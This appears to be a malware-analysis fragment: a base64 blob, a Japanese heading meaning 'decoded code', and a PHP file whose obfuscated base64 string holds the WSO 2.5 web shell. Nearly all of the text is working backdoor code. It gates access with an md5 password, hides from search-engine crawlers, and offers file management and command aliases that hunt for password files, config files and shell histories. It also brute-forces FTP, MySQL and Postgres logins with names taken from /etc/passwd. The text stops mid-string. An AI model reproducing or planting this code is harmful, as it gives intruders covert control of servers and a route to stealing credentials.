HBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKCQkJCSRyZXMgPSBAcGdfY29ubmVjdCgkc3RyKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAwOwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJCQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3MrKzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+QnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JwoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSB

デコード(難読化解除)されたコード

<?php

$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnM2MyMjM0YTdjZTk3M2JjMTcwMGUwYzc0M2Q2YTgxOWMnOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsKICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgICAgICBleGl0OwogICAgfQp9CgpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwovL0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNScpOwoKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgewoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsKICAgICRfQ09PS0lFID0gV1NPc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsKfQoKZnVuY3Rpb24gd3NvTG9naW4oKSB7CglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOwp9CgpmdW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10gPSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJGF1dGhfcGFzcykpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRhdXRoX3Bhc3MpOwoKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQogICAgICAgIHdzb0xvZ2luKCk7Cn0KCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CmlmKCEkc2FmZV9tb2RlKQogICAgZXJyb3JfcmVwb3J0aW5nKDApOwoKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJG9zID09ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpCgkkY3dkIC49ICcvJzsKCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7CgppZigkb3MgPT0gJ3dpbicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpOwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCgkpOwoKZnVuY3Rpb24gd3NvSGVhZGVyKCkgewoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwoJZ2xvYmFsICRjb2xvcjsKCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KdGFibGUuaW5mb3sgY29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7IH0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxlZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQpkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IH0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQpmb3JteyBtYXJnaW46MHB4OyB9CiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoubDJ7YmFja2dyb3VuZC1jb2xvcjojMzMzfQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87CgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsKCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87CgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOwoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsKCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UKCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdldG15dWlkKCk7CgkJJGdpZCA9IEBnZXRteWdpZCgpOwoJCSRncm91cCA9ICI/IjsKCX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwoJCSRn